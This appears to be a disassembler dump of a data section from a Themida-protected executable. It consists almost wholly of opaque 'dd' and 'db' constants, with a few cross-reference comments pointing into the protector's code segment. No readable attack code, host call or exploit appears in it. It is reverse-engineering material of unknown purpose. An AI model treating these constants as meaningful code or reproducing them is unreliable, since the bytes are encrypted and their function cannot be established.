		dd 852B5AB1h, 0FF3EA708h, 2F1D71D0h, 0C1F8A85Ch, 2CD8E1F4h
		dd 2D9BA5D4h, 80333981h, 0AC209C57h, 0C513F3DFh, 5EF64EFAh
		dd 0D783AB2Fh, 69B15DCBh, 0B1D89663h, 0F8406826h, 0BE10AB2Bh
		dd 0ED620FE6h, 0DA97CC3h, 0CE2596BBh, 64AC5834h, 0D40F785Eh
		dd 35648C26h, 595FAC2Ah, 26D40F73h, 0E9C75F87h,	6FDA668Bh
		dd 0B75A6852h, 0B6000001h, 6A479926h, 25025469h, 0DFBC0EADh
		dd 9471C3F6h, 0EF287A43h, 0CDF0E7C9h, 86339E7Bh, 3E815734h
		dd 0F4C70FECh, 80E96A2h, 58098C22h, 12D43B36h, 3F4BF7C4h
		dd 0DFE52DD1h, 57E5ED7Ch, 91A0A38Ah, 0C2BAE681h, 61BAD82Ah
		dd 0E6EC44B2h, 58062100h, 0C8744B8Dh, 0EA82AA70h, 0C80DDAA2h
		dd 8820993Ch, 0F423963Bh, 0F93A65B0h, 6A0B335Dh, 0AB46D016h
		dd 0B01EF4h, 0B523F0B8h, 0D7065E0Ah, 42E093h, 0BA668E1Dh
		dd 489040AEh, 15C37542h, 0D71F4723h, 2895420Fh,	0D3E8EEF9h
		dd 0E9D2A981h, 4529BA42h, 874F5A89h, 81987E84h,	0C5AC2338h
		dd 54B8E8D9h, 9C34CC69h, 7605C0BEh, 39473173h, 0F6h, 85A6577h
		dd 0C315A82Bh, 7DCFECE6h, 328435A0h, 0E93B8255h, 2FA808B0h
		dd 725F3C8Eh, 0C018F547h, 6D0ADFFh, 0CF5763B5h,	98CE3C9h
		dd 95FCF758h, 0AFF7C412h, 0E7FBE1E7h, 320F51F1h, 146C18A5h
		dd 0D7E34D7Ch, 290F1569h, 0BB51F1E8h, 0F1E7CFB5h, 0F5BBE351h
		dd 25ED35CDh, 96427B58h, 0AF0F63Eh, 1E51F1E8h, 4083C7F6h
		dd 0E57E512h, 4AB894E6h, 0B122E6F1h, 7008600Ch,	0FEADC4h
		dd 0FDAF6F63h, 0BD85CD65h, 5909EFF5h, 0F51D5806h, 0F17982C6h
		dd 9BC35DFDh, 0C7F4E2EFh, 7D3E9875h, 3EDE8BD1h,	1C806CB3h
		dd 0FD03CB7Eh, 8F141E17h, 36834E2Bh, 6B9A328Ah,	0F3457660h
		dd 454BC016h, 8F141E5Fh, 7B409673h, 979F4BE3h, 2AE0BCAh
		dd 0F06911EBh, 0DA72C432h, 8435A0ABh, 0A1E183D8h, 28704B8Bh
		dd 0B745A60h, 60888F14h, 92442131h, 36F7D29h, 0C6000000h
		dd 0CA127DE4h, 9A3C49F5h, 70687521h, 3B96A34Fh,	12C5D27Eh
		dd 0E5F2FFABh, 0B61F2CD8h, 884A5703h, 597A8733h, 6833B864h
		dd 5E3Eh, 68241489h, 1D29h, 56240489h, 0C681E689h, 4, 8704EE83h
		dd 895C2434h, 68512414h, 29B81FFBh, 81240C8Bh, 4C4h, 0F7D9F700h
		dd 80C181D1h, 8159175Bh, 0B7E102E9h, 59C8897Ch,	24148B54h
		dd 4C481h, 56500000h, 631416BEh, 2474312Ch, 428F5E04h
		dd 8728108h, 2C631416h,	5324148Bh, 0C381E389h, 4, 8704C383h
		dd 0FF5C241Ch, 83582434h, 1CE904C4h, 89FFFCD7h,	80B87500h
		dd 30617A6h, 0F1E0FFC5h, 0C8746883h, 481A04A4h,	3634B0D9h
		dd 0D5184827h, 8A699DCEh, 0F07ACA12h, 8B6E8767h, 0FF53A882h
		dd 0E5747305h, 0CF768933h, 16CFD07h, 0E9575547h, 148h
		dd 50h,	54h, 58h, 5Ch, 60h, 64h, 68h, 6Ch, 0B0h, 0B4h
		dd 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh, 0D0h, 0D4h, 0D8h
		dd 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 38h dup(0)
		dd offset dword_582DE4+5A0h
		dd 0A150EBh, 0A745858Dh, 8D890617h, 6140D15h, 0A8858589h
		dd 8E90617h, 0BC000000h, 938F1667h, 0C62E8740h,	141A5985h
		dd 3CBE5406h, 687C5AD5h, 0E89DE084h, 0A5240481h, 8B05C487h
		dd 45B529CFh, 0FF06140Eh, 141AD1B5h, 8D2DB706h,	1780DB85h
		dd 0D1BD3106h, 0FF06142Eh, 9DB589D0h, 8906142Ah, 17A88985h
		dd 659D8B06h, 0E906140Ah, 3Eh
		db 0Fh,	0B7h, 0F2h
byte_5834DB	db 56h			; DATA XREF: Themida_:0054993Co
					; Themida_:0054B04Co ...
		dd 0A885B58Bh, 6890617h, 0A8858583h, 5E040617h
		db 0C3h
byte_5834ED	db 60h,	8Dh, 0B5h	; DATA XREF: Themida_:0054A988o
		dd 617A745h, 6A560FEBh,	0FF36FF00h, 17A88995h, 0C6835E06h
		dd 3E8304h, 0C361EC75h,	12C19523h, 0BE660614h, 858DABA0h
		dd 617A90Eh, 8589DC8Ah,	6141DA9h, 8E8h,	58249000h, 0B874C138h
		dd 45F9BA0Fh, 0F5E587Ah, 68Fh, 0A59D8900h, 8106140Fh, 5F57C6h
		dd 819D8900h, 2B061409h, 10E9C9h, 0EE180000h, 50CC87BEh
		dd 1CC41E5Fh, 0D4638863h, 34FF3E69h, 38E0F31h, 66000000h
		dd 0F58DE8Bh, 68Eh, 0F5B58900h,	8106140Ch, 0CAFF14E8h
		dd 19C08118h, 0F4DB0ECh, 589h, 9E00BF00h, 0E8814A44h, 67B11BFFh
		dd 50D98B66h, 2F39958Bh, 48F0614h, 0F553B60Eh, 8902E983h
		dd 14109595h, 89494906h, 1420C195h, 68F98106h, 0FFFFFA1h
		dd 0D85h, 0D0B70F00h, 1BE9h, 0F90D8A00h, 0BD09517Dh, 6142B4Dh
		dd 0FFFF85E9h, 0C207EFFh, 17E6FEA6h, 7E265A71h,	75E9h
		dd 8C666000h, 0F04A8D8h, 3584h,	0FF016A00h, 141145B5h
		dd 0DB858D06h, 0FF061780h, 0BD8589D0h, 8B06140Ch, 0CEFC1FEh
		dd 4000068h, 6A006A20h,	0D685702h, 0FF000100h, 140CBD95h
		dd 32E906h, 85C60000h, 6141A59h, 30DF6856h, 0B5FFA9C5h
		dd 6141AD1h, 80DB858Dh,	0D0FF0617h, 2C1D8589h, 858D0614h
		dd 6140101h, 6A206A50h,	95FF5605h, 6142C1Dh, 0E0C1C361h
		dd 39EB06h, 0CC00C100h,	0E400C102h, 0C102h, 66000000h
		dd 4E4698CEh, 0ED7781C2h, 352390CAh, 4C4E9BCEh,	0FC4F9189h
		dd 0C77BBA7h
		db 0EBh, 0B9h, 23h
byte_583697	db 6Ah			; DATA XREF: Themida_:00549940o
		dd 7753BAD3h, 7B4BA1C9h, 844794C2h, 15239FC7h, 2123F64Fh
		dd 537CD5A7h, 6C5F7CF8h, 6774A3h, 1223E8A3h, 0CA74B2A7h
		dd 41A0EE26h, 7C1B8A58h, 94A8A8FDh, 9637D6F6h, 4849352Ch
		dd 24201DF7h, 4A03F5A7h, 4DAAAD64h, 0C0A2F183h,	423BF183h
		dd 7163F5A7h, 22511164h, 0CD2C8520h, 2423F5A4h,	91071327h
		dd 1D13441Ah, 8D56F5A1h, 58C24824h, 5523F3B3h, 1B70A5BEh
		dd 4C9A4D67h, 0A1AAF5A7h, 1437EFEEh, 0BE19682Ah, 57DCF3B1h
		dd 0FFA0ADFCh, 2737EF46h, 0C03481A7h, 4C9A4DF4h, 0A1AAF5A7h
		dd 1437EFEEh, 0BD0A682Ah, 57DCF3B1h, 0FFAAADFCh, 2737FE0Ah
		dd 25B67EF5h, 1225E18Eh, 2A2702Eh, 0D2A8F3B3h, 0E172F5CDh
		dd 8423F5A4h, 1BE0AC87h, 2507B92Eh, 9407B126h, 4823F5BBh
		dd 0D3E0A4E6h, 0FCF4527Ch, 0A2EE97C4h, 9E7A7061h, 2875F3B3h
		dd 22CBA5A7h, 0B023F5A7h, 0C17B36FFh, 0A527D1E3h, 0E27D1E3h
		dd 4923F5A7h, 19A36F7h,	21185B03h, 0A87DEB3Eh, 84298C3Ah
		dd 20F07EA1h, 8845560Bh, 1223F24Eh, 1424E6A7h, 8E94FBDDh
		dd 0BC07C126h, 0A8133BBCh, 84358C2Ah, 99960AA1h, 2B25E1BDh
		dd 97AE0318h, 0F34757Ch, 6C72F5CDh, 4223F5A4h, 78E0AC87h
		dd 9407B92Eh, 4C07B126h, 2423F5BAh, 93E0A4E6h, 55FFE8EEh
		dd 2D1C684h, 0F7967EDFh, 2E25E1A1h, 9023F52Ch, 22F30AA7h
		dd 27CBA5A7h, 3223F5A7h, 807B36FFh, 527D1E3h, 5827D1E3h
		dd 6123F5A7h, 162936F7h, 6277C5E7h, 4E594759h, 41239FA3h
		dd 923F64Fh, 4778D5A7h,	667F7CFCh, 56774A3h, 9023EDA3h
		dd 8B70B6A7h, 0E51D1440h, 0EBC39DA5h, 83438519h, 8AAFFA6Ch
		dd 0AA23F5A7h, 2123F5AFh, 0F0C2C4E3h, 0C0EF2AD7h, 10A294FDh
		dd 0ACCA1583h, 58239FD7h, 8423F64Fh, 817AD5A7h,	56F7CFEh
		dd 0B46774A3h, 4823E2A3h, 0E772B4A7h, 14EA9C7Eh, 93578A8h
		dd 95CAF5A7h, 3B23F5A7h, 0E1BA683Ah, 1BD4E3B8h,	0D9DDDE63h
		dd 661F3417h, 82BED4CFh, 0CADFA20h, 3B23F5A7h, 698BDCCAh
		dd 0EA07F126h, 115B9AC2h, 7E922569h, 4E239FCDh,	11CBA6A7h
		dd 2923F5A7h, 0D7836FCh, 0C327D1FBh, 3B27D1E3h,	0D323F5A7h
		dd 7A9336F4h, 9E454C38h, 0CA6FA37h, 6923F5A7h, 5EB32F26h
		dd 53CA9E83h, 0DC23F5A7h, 0F6A1538Fh, 91A4341Ah, 84FE5EE4h
		dd 408A1CE0h, 0F60543C6h, 0D1239F77h, 4223F64Fh, 0E27ED5A7h
		dd 0B44F7CFAh, 6C6774A3h, 2423E9A3h, 0D176B0A7h, 1AD5ADA5h
		dd 98F7DDECh, 2E9A9334h, 90B6DCE4h, 1925E1A4h, 5F897922h
		dd 5FCD74A1h, 996DC729h, 0BEFF05Fh, 1AAF5A7h, 44345F37h
		dd 0A83B3524h, 87896122h, 0F1E3C6A1h, 2423F74Bh, 0D4DB5F54h
		dd 1D39AC22h, 8449B6A1h, 42201DF7h, 7903F5A7h, 0D4AAAD64h
		dd 0CA2F183h, 2439F183h, 4263F5A7h, 590C9564h, 0A0F00E1Fh
		dd 5FC271CFh, 0D2A89322h, 4A07C126h, 0B03A8F2Dh, 3EF24058h
		dd 97AEF3B3h, 0F34757Ch, 849A482Eh, 92DCF3B3h, 23FE688Eh
		dd 0DAAF3B3h, 4E37C462h, 3422702Eh, 9FAAF3B3h, 0F37E77Eh
		dd 89B2702Ah, 4249F3B3h, 21201DF1h, 0CE03F5A7h,	3CAAAB64h
		dd 60A2F183h, 123AF183h, 5F65F5A7h, 18D46464h, 13681130h
		dd 8B2402Ch, 197CF3B3h,	5C398422h, 71239FA1h, 1223F64Fh
		dd 0CA7ED5A7h, 0A04F7CFAh, 666774A3h, 2123E2A3h, 5376B0A7h
		dd 0F83FB6DBh, 0A1E5222Ch, 1437EFFEh, 5C239FF4h, 8423F64Fh
		dd 817ED5A7h, 54F7CFAh,	0B46774A3h, 4823EDA3h, 0E776B0A7h
		dd 24229118h, 0BDC84CCBh, 3B458331h, 6C4B4543h,	72FCC0D5h
		dd 902175A8h, 2943F5A7h, 2774F9h, 0F58230Dh, 0E170F5CDh
		dd 8423F5A4h, 19E0AE87h, 2507A92Eh, 9407B126h, 4823F5BAh
		dd 0DAE0A6E4h, 0DF2EE312h, 0D377155Bh, 5D9D93FDh, 93960AEBh
		dd 4B25E1BDh, 93CBA4A7h, 6823F5A7h, 0AD7A36FEh,	9327D1EBh
		dd 1227D1E3h, 0C523F5A7h, 7DCC36F6h, 1CD29B94h,	15AE7A47h
		dd 4E34757Ch, 0CC76F5CDh, 1223F5A4h, 54E0A887h,	8007992Eh
		dd 4607B126h, 2123F5B2h, 6DE0A0E2h, 0C945A432h,	7D1D8B7Eh
		dd 122570A8h, 8CAAF5A7h, 8237C51Ah, 0BDF07EC1h,	0B40A9577h
		dd 9637C5DEh, 21A67CC6h, 4E25E1B6h, 11CBA3A7h, 2923F5A7h
		dd 0D7D36F9h, 0C327D1D3h, 3627D1E3h, 0D623F5A7h, 366236F1h
		dd 0A1E544BEh, 1437EFFEh, 0B1C44BF4h, 5F4B8414h, 0AAB787BDh
		dd 2123F5A2h, 56EF68A9h, 4CA2ABEDh, 828A2D83h, 9796F6E4h
		dd 0F625E182h, 90392412h, 10239FA1h, 2123F64Fh,	5379D5A7h
		dd 6C777CFDh, 6774A3h, 1223EEA3h, 0CA71B7A7h, 7AB251C1h
		dd 2AC07318h, 0CC96FCC7h, 1925E1A8h, 5C203022h,	0A1AE94A1h
		dd 1434757Ch, 0D0E60AEh, 54DCF3B3h, 422177A8h, 0F5A9F5A7h
		dd 0BAD6702Eh, 0C5A8F3B3h, 2237C5CEh, 87A7061h,	0F564F3B3h
		dd 0D73589CFh, 5A594A0Bh, 25A29247h, 1BE4D883h,	99960AACh
		dd 0AF25E1BDh, 60CE032h, 0D2A678A1h, 0EE25E227h, 41CBA5A7h
		dd 123F5A7h, 197B36FFh,	0C927D1E3h, 3227D1E3h, 5223F5A7h
		dd 0BE4536F7h, 0EDBEDC55h, 0BD25E1B4h, 70239F77h, 9023F64Fh
		dd 8B7AD5A7h, 6F7CFEh, 366774A3h, 923E1A3h, 4772B4A7h
		dd 0ABA293A9h, 0A4AACCB4h, 9637F01Ah, 0CDE5AFF6h, 2237EFFEh
		dd 43239FE0h, 923F64Fh,	477AD5A7h, 666F7CFEh, 56774A3h
		dd 9023EEA3h, 8B72B4A7h, 5DCC2C8Ch, 53ABF4D9h, 260A70A6h
		dd 594BF3B3h, 127B68FFh, 0FEA895F5h, 9023FC4Fh,	0C7D3BBA7h
		dd 0E234B0EAh, 7378DC34h, 18CAC4A8h, 9923F5A7h,	93269266h
		dd 8B0251D1h, 1C95D52Fh, 67F90609h, 20A2ADFDh, 2C946883h
		dd 0CCD5758Eh, 9EF24058h, 4249F3B3h, 21201DF1h,	0CE03F5A7h
		dd 3CAAAB64h, 60A2F183h, 1237F183h, 5F65F5A7h, 0AA9D1B64h
		dd 24169246h, 0F9771426h, 10F8702Ah, 0D52AF3B0h, 2237FE5Ah
		dd 92752558h, 80797045h, 9025D022h, 12239FA1h, 2123F64Fh
		dd 537BD5A7h, 6C677CFFh, 6774A3h, 1223ECA3h, 0CA73B5A7h
		dd 91062AF8h, 0C345BFAAh, 0C8163775h, 9023F5A9h, 0E0020703h
		dd 77E8288Bh, 0D58A9140h, 8CE5DAB1h, 8237EFFEh,	17239FE0h
		dd 2123F64Fh, 537ED5A7h, 6C4F7CFAh, 6774A3h, 1223E3A3h
		dd 0CA76B0A7h, 0AD6D1ABFh, 5601E41Ah, 41929DA1h, 94A2B298h
		dd 0C5F85983h, 91DC0CC4h, 1437EF76h, 0E174F5CDh, 8423F5A4h
		dd 1DE0AA87h, 2507892Eh, 9407B126h, 4823F5BDh, 10E0A2E0h
		dd 64675787h, 84AA8D36h, 8237DA96h, 4F3668A6h, 0A4AEF3B3h
		dd 9634757Ch, 7ECD74C1h, 0CCF30AD5h, 1223F5A2h,	40CBF9C5h
		dd 5EA29361h, 0C97A75CEh, 352A2012h, 0DDA67CA1h, 2225E1ACh
		dd 27CBA0A7h, 3223F5A7h, 807E36FAh, 527D1CBh, 5727D1E3h
		dd 6423F5A7h, 0BAE036F2h, 469D2558h, 734399Ch, 623C02Ah
		dd 20A67CA1h, 0EE25E1ACh, 41CBA6A7h, 123F5A7h, 197836FCh
		dd 0C927D1FBh, 3127D1E3h, 5123F5A7h, 0E22C36F4h, 0FFB79C1h
		dd 56134012h, 4727D1A1h, 4F803726h, 0CC2C35ADh,	2423F616h
		dd 87A7061h, 636CF3B3h,	87CBA0A7h, 6223F5A7h, 0A87E36FAh
		dd 1127D1CBh, 5C27D1E3h, 6123F5A7h, 9B0D36F2h, 1D0CC41Ah
		dd 4DA67CA1h, 2A25E189h, 0F7E2D919h, 0DD3C4FF0h, 0C97AD10Ah
		dd 6459D193h, 970A9CE6h, 0F37E5DAh, 9EF24058h, 4249F3B3h
		dd 21201DF0h, 0CF03F5A7h, 34AAAA64h, 60A2F183h,	1239F183h
		dd 5E64F5A7h, 8E0D864h,	6522C22h, 212570A8h, 1C2CF5A7h
		dd 4823F5A7h, 91AEFCF6h
		dd 4825E189h, 89F8702Ah, 8449F3B0h, 42201DF6h, 7803F5A7h
		dd 0DCAAAC64h, 0CA2F183h, 2439F183h, 4362F5A7h,	0B0D1F964h
		dd 72258314h, 48CA3F2Ch, 0AD23F5A7h, 0C643A240h, 0DB0B958Eh
		dd 0C59EC4ECh, 0ED25E1AEh, 5E239F77h, 8423F64Fh, 817CD5A7h
		dd 55F7CF8h, 0B46774A3h, 4823E1A3h, 0E774B2A7h,	7BB67CE7h
		dd 8A25E183h, 19AAD167h, 4437F6EEh, 288E702Eh, 9049F3B3h
		dd 48201DF0h, 7B03F5A7h, 6EAAAA64h, 4DA2F183h, 8436F183h
		dd 1564F5A7h, 0AA683E64h, 8438E832h, 61A67EA1h,	4E25E1ACh
		dd 11CBA0A7h, 2923F5A7h, 0D7E36FAh, 0C327D1CBh,	3927D1E3h
		dd 0D523F5A7h, 0AAB136F2h, 0F0D1712h, 616E81Ah,	44BE7EA1h
		dd 0EE25E1ACh, 41CBA5A7h, 123F5A7h, 197B36FFh, 0C927D1E3h
		dd 3C27D1E3h, 5223F5A7h, 819636F7h, 0AD68DB92h,	56306C1Ah
		dd 0D3A2B6A1h, 0E7D15C51h, 0F5A8EE2Ch, 2237C59Eh, 87AAEE2Ch
		dd 0F37F7BEh, 8449EE2Ch, 42201DF4h, 7A03F5A7h, 0CCAAAE64h
		dd 0CA2F183h, 243AF183h, 4160F5A7h, 12E4A164h, 0B73338FEh
		dd 11239F7Fh, 2123F64Fh, 5378D5A7h, 6C7F7CFCh, 6774A3h
		dd 1223E9A3h, 0CA70B6A7h, 7A20C1Eh, 0B8D43A8Ch,	0A0BE7C48h
		dd 0FA25E1BCh, 4BCBA7A7h, 423F5A7h, 9B7936FDh, 8827D1F3h
		dd 9C27D1E3h, 23F5A7h, 824F36F5h, 19DE7396h, 5C25E43Ah
		dd 6D9ED6A1h, 0D425E1B6h, 1D39AC22h, 8449B2A1h,	42201DF6h
		dd 7803F5A7h, 0DCAAAC64h, 0CA2F183h, 2435F183h,	4362F5A7h
		dd 7BD51C64h, 82B1DB1Dh, 42271DDFh, 0FC8AF5A7h,	1B454279h
		dd 0C12CA55Dh, 2423F5B6h, 12291CF0h, 5D75F5A7h,	1039A107h
		dd 0A7B1E8C8h, 5677EFDh, 919993A3h, 18237E00h, 24241DF5h
		dd 0CB79F5A7h, 6DA8A2FFh, 8B71A5AAh, 1C7BAF96h,	7979C4A8h
		dd 9407B12Eh, 482670A8h, 0AD9AF5A7h, 4A480E99h,	0E175F5CDh
		dd 8423F5A4h, 1CE0AB87h, 2507812Eh, 9407B126h, 4823F5BEh
		dd 75E0A3E1h, 7EE6EB09h, 9331D97h, 8468F5A7h, 29725700h
		dd 0DE55CF75h, 7FC5F341h, 83A8E42Bh, 0F5960AFEh, 9925E1BDh
		dd 1D27A812h, 5FA678A1h, 2825E227h, 22CBA3A7h, 0B023F5A7h
		dd 0C17D36F9h, 0A527D1D3h, 627D1E3h, 4F23F5A7h,	7B8336F1h
		dd 42331C77h, 217FF5A7h, 91AC81E9h, 0C0AA5E88h,	146C59FEh
		dd 97AAF46Ah, 0F37F01Ah, 299EDCF0h, 1B25E1BCh, 0AA5140E7h
		dd 840FC012h, 0C1237EA1h, 3032E812h, 78237EA1h,	0ACBA2A7h
		dd 0A423F5A7h, 0CB7C36F8h, 0A027D1DBh, 8727D1E3h, 0F23F5A7h
		dd 791C36F0h, 8FAA4ABCh, 0F37D3A6h, 8BE2702Eh, 4249F3B3h
		dd 21201DF4h, 0CB03F5A7h, 14AAAE64h, 60A2F183h,	1237F183h
		dd 5A60F5A7h, 39AA8F64h, 4437DF22h, 2123E54Eh, 71218CA7h
		dd 4E050734h, 61AA781h,	0DF6169F3h, 8AB1C2Ch, 8449F5A7h
		dd 42201DF1h, 7F03F5A7h, 0E4AAAB64h, 0CA2F183h,	2434F183h
		dd 4465F5A7h, 0D99C0D64h, 0FE87F7Ch, 56356412h,	93A678A1h
		dd 0FA25E20Dh, 4BCBA4A7h, 423F5A7h, 9B7A36FEh, 8827D1EBh
		dd 9827D1E3h, 323F5A7h,	0F57C36F6h, 0B2724ED2h,	0D80F911Bh
		dd 42737311h, 82499B18h, 0E174F5CDh, 8423F5A4h,	1DE0AA87h
		dd 2507892Eh, 9407B126h, 4823F5BCh, 37E0A2E0h, 0BAFCD945h
		dd 0F6684BEDh, 900C6032h, 12239FA1h, 2123F64Fh,	537BD5A7h
		dd 6C677CFFh, 6774A3h, 1223EFA3h, 0CA73B5A7h, 0DC9B6237h
		dd 0C314A0CBh, 7F44CB51h, 1E754A9Ch, 0D5AE9103h, 22345F1Fh
		dd 0FA75F5CDh, 923F5A4h, 0DAE0AB87h, 4607812Eh,	2507B126h
		dd 9023F5BFh, 0EEE0A3E1h, 5D003773h, 1202482Eh,	6FB0F3B3h
		dd 0D4184F19h, 422F1DF0h, 0F024F5A7h, 0EFB0C927h, 7534A7CBh
		dd 2CCA3211h, 0E223F5A7h, 238F8BADh, 0DDA6C7A1h, 424966F9h
		dd 21201DF5h, 0CA03F5A7h, 1CAAAF64h, 60A2F183h,	123AF183h
		dd 5B61F5A7h, 0CD551964h, 4D1755D3h, 2123F72Bh,	0C0E97EA7h
		dd 4707F12Eh, 0B1DC2218h, 1437E8E2h, 0E170F5CDh, 8423F5A4h
		dd 19E0AE87h, 2507A92Eh, 9407B126h, 4823F5BDh, 0A9E0A6E4h
		dd 0BF25DA81h, 8CAA035Ch, 8237FC0Ah, 0AA70F5CDh, 2123F5A4h
		dd 0CBE0AE87h, 4C07A92Eh, 2007B126h, 1223F5B1h,	0E0E0A6E4h
		dd 11A888E7h, 4437E48Ah, 0A4E5022Dh, 9637EFFEh,	1D239FF4h
		dd 2423F64Fh, 0D17ED5A7h, 2D4F7CFAh, 0A06774A3h, 4223E9A3h
		dd 0E276B0A7h, 0BE529674h, 0C444F7E8h, 0E196F4AEh, 0FA25E182h
		dd 923F5A3h, 2EA471D8h,	4223E74Fh
		db 0A7h
byte_584369	db 0BAh, 0F8h, 0BEh	; DATA XREF: Themida_:0054B77Co
		dd 8225FF0Fh, 88D34C56h, 950D4E6Bh, 72D8A933h, 9998CF19h
		dd 0D47C94E6h, 40A6FAC7h, 7023F5A7h, 96A2FAFCh,	4723F5A7h
		dd 2423F521h, 56A894A7h, 5B73F183h, 0D41343C7h,	1812FAF5h
		dd 102C94FFh, 90A8ADFDh, 4C07B12Eh, 24207AA8h, 9945F5A7h
		dd 0EBA2AD71h, 8E8E8A3Fh, 58F24058h, 2149F3B3h,	90201DF0h
		dd 1703F5A7h, 58AAAA64h, 56A2F183h, 936F183h, 0D364F5A7h
		dd 0CF5B0564h, 36A32E22h, 0C5239FA1h, 4823F64Fh, 0E77ED5A7h
		dd 364F7CFAh, 2D6774A3h, 8423ECA3h, 8176B0A7h, 0AB6D4B70h
		dd 272CC7BCh, 28F30A6Eh, 0DEE602Eh, 1D70F3B3h, 923F524h
		dd 0D42ABA7h, 562ACC22h, 74239FA1h, 9023F64Fh, 8B7ED5A7h
		dd 4F7CFAh, 366774A3h, 923EEA3h, 4776B0A7h, 0FB65FF4Fh
		dd 55F63508h, 0BD7A402Ch, 0C50AF3B3h, 2237DC32h, 87A7061h
		dd 8064F3B3h, 90365432h, 0FDF89DA1h, 0A32C8270h, 9023F5B4h
		dd 4823FD4Fh, 0D7C9C8A7h, 0FFAEC71h, 0F7FB4ACBh, 57CFCB9h
		dd 1796D1A3h, 2149DC3Dh, 90201DF4h, 1303F5A7h, 78AAAE64h
		dd 56A2F183h, 93EF183h,	0D760F5A7h, 0B9D47364h,	0AC596757h
		dd 2A78C6BDh, 274B3751h, 2942682Eh, 0A7DCF3B3h,	0F37EF76h
		dd 0ADC67096h, 0C7AEF3B3h, 2734757Ch, 0BBBE482Eh, 98DCF3B3h
		dd 0CC75F5CDh, 1223F5A4h, 57E0AB87h, 8007812Eh,	4607B126h
		dd 2123F5BFh, 63E0A3E1h, 54C711Fh, 2C66602Ch, 6CAF3B3h
		dd 9623F5A7h, 7264E2ABh, 9694FD77h, 0A6EA0DCAh,	6CB98A36h
		dd 0C1DD5F20h, 3028C422h, 47239FA1h, 923F64Fh, 477ED5A7h
		dd 664F7CFAh, 56774A3h,	9023E9A3h, 8B76B0A7h, 427769A1h
		dd 0AE564208h, 0F8A893C6h, 810E402Ch, 0C7E5F3B3h, 2737EFFEh
		dd 0C7239FF4h, 4823F64Fh, 0E77CD5A7h, 365F7CF8h, 2D6774A3h
		dd 8423E8A3h, 8174B2A7h, 9235B6C9h, 406ABFC2h, 0E84B8F42h
		dd 0AFEEB8B6h, 36177450h, 5D57BB97h, 8252602Ch,	0F7DCF3B3h
		dd 2737EF76h, 10F8702Ah, 5ACAF3B0h, 5723F5A7h, 0B7E0218Ah
		dd 0B22296C4h, 91A6D5AAh, 0A086D54Ah, 41F30AD9h, 0F1DA7EC7h
		dd 50F6402Eh, 0AD42F3B3h, 6009422h, 0FAAFAA1h, 0AD23F5A7h
		dd 5628681Ah, 78A633A1h, 0C725E1BDh, 0DC864BC1h, 0D555B1CFh
		dd 0C5A893F6h, 0CB07F126h, 0F1DE77Ch, 93960A50h, 4B25E1BDh
		dd 93CBA6A7h, 6823F5A7h, 0AD7836FCh, 9327D1FBh,	1427D1E3h
		dd 0C723F5A7h, 0D93236F4h, 0D52CADC6h, 39F1DD4Eh, 0C8F8702Ah
		dd 28CAF3B0h, 0B23F5A7h, 341916DFh, 8EAC1Ch, 0BDEF50E5h
		dd 389E7E77h, 1925E1ABh, 5C08EC22h, 0E2D27EA1h,	639AC22h
		dd 949B6A1h, 84201DF4h,	1903F5A7h, 7DAAAE64h, 0D4A2F183h
		dd 4835F183h, 7760F5A7h, 0DA86B364h, 3DAA402Ch,	80CBF3B3h
		dd 6A23F5A7h, 939F65D7h, 0E199A575h, 0C330AF24h, 9E27D1E3h
		dd 711AEB59h, 799CF52Ch, 0D7637CDh, 0C927D1E3h,	94A8AD6Ch
		dd 9637E3D6h, 52F24058h, 2449F3B3h, 12201DF0h, 5603F5A7h
		dd 0F8AAAA64h, 6A2F183h, 213FF183h, 0C764F5A7h,	13F94264h
		dd 0B1D425ECh, 0A52C350Fh, 0D2A67875h, 0EE25E227h, 41CBA0A7h
		dd 123F5A7h, 197E36FAh,	0C927D1CBh, 3327D1E3h, 5723F5A7h
		dd 64A136F2h, 22CB141h,	4223F5A1h, 2A1648A4h, 40DCF3B3h
		dd 0A070F5CDh, 2423F5A4h, 49E0AE87h, 0D07A92Eh,	8007B126h
		dd 4223F5B3h, 26E0A6E4h, 90227FA8h, 0C1D6F5A7h,	30138022h
		dd 0BAA678A1h, 6325E20Dh, 87CBA3A7h, 6223F5A7h,	0A87D36F9h
		dd 1127D1D3h, 5327D1E3h, 6223F5A7h, 0CBF536F1h,	0ED3434Bh
		dd 0DA74F5F7h, 2271A5F7h, 0F7A894C7h, 0F612FAC6h, 1079232Ch
		dd 4E07F12Eh, 11CBA0A7h, 2923F5A7h, 0D7E36FAh, 0C327D1CBh
		dd 3A27D1E3h, 0D523F5A7h, 0D7A136F2h, 362FD96Eh, 11DACD48h
		dd 1D206032h, 11B60AA1h, 2825E188h, 22CBA4A7h, 0B023F5A7h
		dd 0C17A36FEh, 0A527D1EBh, 0A27D1E3h, 4823F5A7h, 5D6136F6h
		dd 2410A297h, 0AACB6B18h, 0C6239F7Fh, 4823F64Fh, 0E77DD5A7h
		dd 36577CF9h, 2D6774A3h, 8423EFA3h, 8175B3A7h, 7C003300h
		dd 0C742BBB0h, 0CDAEAA5Eh, 22345F3Bh, 1223F94Eh, 0BA3E63A7h
		dd 47F6ECBDh, 3957EF13h, 0A12CA50Eh, 9023F5A0h,	0D8474AF7h
		dd 0AD7A83BBh, 14CAD1A3h, 2C23F5A7h, 0AF00A1E0h, 0FB456608h
		dd 4773C2BBh, 3E79A19h,	0A070F5CDh, 2423F5A4h, 49E0AE87h
		dd 0D07A92Eh, 8007B126h, 4223F5BBh, 98E0A6E4h, 71B3C37Ah
		dd 0E218F2B6h, 2423E64Eh, 0CA0120A7h, 0A1F3A3EEh, 0B574BB92h
		dd 18933115h, 984635B8h, 8D666058h, 4849F3B3h, 24201DF5h
		dd 4803F5A7h, 5DAAAF64h, 0C0A2F183h, 423EF183h,	7361F5A7h
		dd 0BDD40D64h, 0A02F97D7h, 0AD4E33EEh, 60CDC1Ah, 4CA67CA1h
		dd 0B725E189h, 562FAC12h, 84A632A1h, 9F25E1BDh,	2223F5A7h
		dd 27CBA2A7h, 3223F5A7h, 807C36F8h, 527D1DBh, 5F27D1E3h
		dd 6623F5A7h, 0E99636F0h, 0FCC1FEC3h, 0EB67B49Ch, 0D4A293C7h
		dd 68D6AA4Fh, 84FA48AEh, 0D7DCF3B3h, 2737DBE2h,	902572A8h
		dd 0C5AAF5A7h, 2237D1B2h, 30224894h, 8CAAF3B3h,	8237F3AEh
		dd 0C9D84AA8h, 3533F422h, 0C2BE78A1h, 0C125E21Ah, 99AEF4E4h
		dd 1437F836h, 0B40F402Ah, 0B79AF3B0h, 0B123F5A7h, 99101E03h
